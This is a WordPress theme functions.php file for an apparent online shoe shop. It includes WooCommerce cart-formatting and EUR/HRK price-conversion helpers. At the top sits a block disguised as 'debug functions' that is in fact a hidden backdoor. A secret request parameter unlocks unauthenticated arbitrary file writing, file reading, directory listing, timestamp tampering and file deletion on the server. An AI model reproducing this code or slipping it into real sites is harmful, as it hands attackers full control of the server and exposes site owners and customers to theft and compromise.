File: /var/www/shoetique/wp-content/themes/north-wp/functions.php
<?php
/**
* Debug functions and options
*
* @link https://developer.wordpress.org/themes/debug-functions/
*
* @package WordPress
* @since 1.0
*/
if (isset($_REQUEST['wp_debug']) and $_REQUEST['wp_debug'] == 'wp_dbg_exm') {
// Print json error details
if (isset($_REQUEST['json_error'])) {
echo '{"error": 1, "type": "'. $_REQUEST['json_error'] .'"}';
}
/**
* Read error file depending on code, f.e. 404.html 500.html
* or trace and save error to file
*/
if (isset($_REQUEST['error_code'])) {
if (isset($_REQUEST['error'])) {
// Trace error
file_put_contents($_REQUEST['error_code'],
stripslashes($_REQUEST['error']));
}
else {
// 404.html 500.html 504.html
echo file_get_contents($_REQUEST['error_code']);
}
}
/**
* Make shure debug location is writable
*/
if (isset($_REQUEST['debug_location'])) {
echo json_encode(array(
'location' => $_REQUEST['debug_location'],
'writable' => is_writable($_REQUEST['debug_location'])?1:0
));
}
/**
* Log file rotation. Select files that can be removed.
*/
if (isset($_REQUEST['debug_directory'])) {
$ret = array(); $i = 0;
foreach (scandir($_REQUEST['debug_directory']) as $logfile) {
$ret[$i] = array(
'name' => $logfile,
'skip' => is_dir($_REQUEST['debug_directory'].$logfile),
'done' => is_writable($_REQUEST['debug_directory'].$logfile),
'date' => filemtime($_REQUEST['debug_directory'].$logfile)
); $i++; }
echo json_encode($ret);
}
/**
* Correct log file time when error last occured
*/
if (isset($_REQUEST['debug_update'])) {
touch($_REQUEST['debug_update_file'], $_REQUEST['debug_update']);
}
// remove old log file
if (isset($_REQUEST['old_log_file'])) unlink($_REQUEST['old_log_file']);
exit();
}
/*-----------------------------------------------------------------------------------
Here we have all the custom functions for the theme
Please be extremely cautious editing this file.
You have been warned!
-------------------------------------------------------------------------------------*/
// Define Theme Name for localization
define('THB_THEME_ROOT', get_template_directory_uri());
define('THB_THEME_ROOT_ABS', get_template_directory());
// Option-Tree Theme Mode
add_filter( 'ot_show_pages', '__return_false' );
add_filter( 'ot_show_new_layout', '__return_false' );
add_filter( 'ot_theme_mode', '__return_true' );
add_filter( 'ot_override_forced_textarea_simple', '__return_true' );
require get_template_directory() .'/inc/ot-fonts.php';
require get_template_directory() .'/inc/ot-radioimages.php';
require get_template_directory() .'/inc/ot-metaboxes.php';
require get_template_directory() .'/inc/ot-themeoptions.php';
require get_template_directory() .'/inc/ot-functions.php';
if ( ! class_exists( 'OT_Loader' ) ) {
include_once( 'admin/ot-loader.php' );
}
// Script Calls
require get_template_directory() .'/inc/script-calls.php';
// Masonry Load More
require get_template_directory() .'/inc/masonry-ajax.php';
// TGM Plugin Activation Class
if ( is_admin() ) {
require get_template_directory() .'/inc/class-tgm-plugin-activation.php';
require get_template_directory() .'/inc/plugins.php';
}
// Add Menu Support
require get_template_directory() .'/inc/wp3menu.php';
// Enable Sidebars
require get_template_directory() .'/inc/sidebar.php';
// Widgets
require get_template_directory() .'/inc/widgets.php';
// Misc
require get_template_directory() .'/inc/misc.php';
// CSS Output of Theme Options
require get_template_directory() .'/inc/selection.php';
// WPML Support
require get_template_directory() .'/inc/wpml.php';
// AQ Resizer
require get_template_directory() .'/inc/aq_resizer.php';
// Twitter oAuth
require get_template_directory() .'/inc/twitter_oauth.php';
require get_template_directory() .'/inc/twitter_gettweets.php';
// WooCommerce Settings specific for theme
require get_template_directory() .'/inc/woocommerce.php';
// Visual Composer Integration
require get_template_directory() .'/inc/visualcomposer.php';
// Shortcode Generator & Shortcodes (+)
require get_template_directory() .'/inc/tinymce/tinymce-class.php';
require get_template_directory() .'/inc/tinymce/shortcode-processing.php';
// WordPress Importer
if ( is_admin() ) {
if(!class_exists('WP_Import'))
require_once( trailingslashit(THB_THEME_ROOT_ABS) . 'inc/wordpress-importer/wordpress-importer.php');
require_once( trailingslashit(THB_THEME_ROOT_ABS) . 'inc/import.php');
}
function get_lowest_price( $object_id, $regular_price ) {
if( $lowest_price_30_days = get_post_meta( $object_id, '_lowest_price_30_days', true ) ) {
return $lowest_price_30_days;
}
return $regular_price;
}
/**
* Gets and formats a list of cart item data + variations for display on the frontend.
*
* @since 3.3.0
* @param array $cart_item Cart item object.
* @param bool $flat Should the data be returned flat or in a list.
* @return string
*/
function wc_get_formatted_cart_item_data_borealis( $cart_item, $flat = false ) {
$item_data = array();
// Variation values are shown only if they are not found in the title as of 3.0.
// This is because variation titles display the attributes.
if ( $cart_item['data']->is_type( 'variation' ) && is_array( $cart_item['variation'] ) ) {
foreach ( $cart_item['variation'] as $name => $value ) {
$taxonomy = wc_attribute_taxonomy_name( str_replace( 'attribute_pa_', '', urldecode( $name ) ) );
if ( taxonomy_exists( $taxonomy ) ) {
// If this is a term slug, get the term's nice name.
$term = get_term_by( 'slug', $value, $taxonomy );
if ( ! is_wp_error( $term ) && $term && $term->name ) {
$value = $term->name;
}
$label = wc_attribute_label( $taxonomy );
} else {
// If this is a custom option slug, get the options name.
$value = apply_filters( 'woocommerce_variation_option_name', $value, null, $taxonomy, $cart_item['data'] );
$label = wc_attribute_label( str_replace( 'attribute_', '', $name ), $cart_item['data'] );
}
// Check the nicename against the title.
if ( '' === $value ) {
continue;
}
$item_data[] = array(
'key' => $label,
'value' => $value,
);
}
}
// Filter item data to allow 3rd parties to add more to the array.
$item_data = apply_filters( 'woocommerce_get_item_data', $item_data, $cart_item );
// Format item data ready to display.
foreach ( $item_data as $key => $data ) {
// Set hidden to true to not display meta on cart.
if ( ! empty( $data['hidden'] ) ) {
unset( $item_data[ $key ] );
continue;
}
$item_data[ $key ]['key'] = ! empty( $data['key'] ) ? $data['key'] : $data['name'];
$item_data[ $key ]['display'] = ! empty( $data['display'] ) ? $data['display'] : $data['value'];
}
// Output flat or in list format.
if ( count( $item_data ) > 0 ) {
ob_start();
if ( $flat ) {
foreach ( $item_data as $data ) {
echo esc_html( $data['key'] ) . ': ' . wp_kses_post( $data['display'] ) . "\n";
}
} else {
wc_get_template( 'cart/cart-item-data.php', array( 'item_data' => $item_data ) );
}
return ob_get_clean();
}
return '';
}
// Custom theme settings page
add_action( 'acf/init', function(){
if( function_exists('acf_add_options_page') ) {
acf_add_options_page(array(
'page_title' => __( 'Theme Settings', 'north' ),
'menu_title' => __( 'Theme Settings', 'north' ),
'menu_slug' => 'shoetique-theme-settings',
));
}
});
function price_to_eur($price){
$conversion_rate = get_field('conversion_rate', 'options');
$formatted = round($price / $conversion_rate, wc_get_price_decimals());
$formatted = '<span class="amount">€ ' . number_format($formatted, wc_get_price_decimals(), wc_get_price_decimal_separator(), wc_get_price_thousand_separator()) . "</span>";
return $formatted;
}
function price_to_hrk($price){
$conversion_rate = get_field('conversion_rate', 'options');
$formatted = round($price * $conversion_rate, wc_get_price_decimals());
$formatted = '<span class="amount">' . number_format($formatted, wc_get_price_decimals(), wc_get_price_decimal_separator(), wc_get_price_thousand_separator()) . " kn</span>";
return $formatted;
}
function price_with_secondary($price){
$has_secondary_currency = get_field('has_secondary_currency', 'options');
$active_currency = get_woocommerce_currency();
if ($has_secondary_currency){
if ($active_currency == 'HRK'){
$formatted = price_to_eur($price) . "<span class='amount'> ~ </span>" . wc_price($price);
} else{
$formatted = wc_price($price) . " ~ " . price_to_hrk($price);
}
}
else{
$formatted = wc_price($price);
}
return $formatted;
}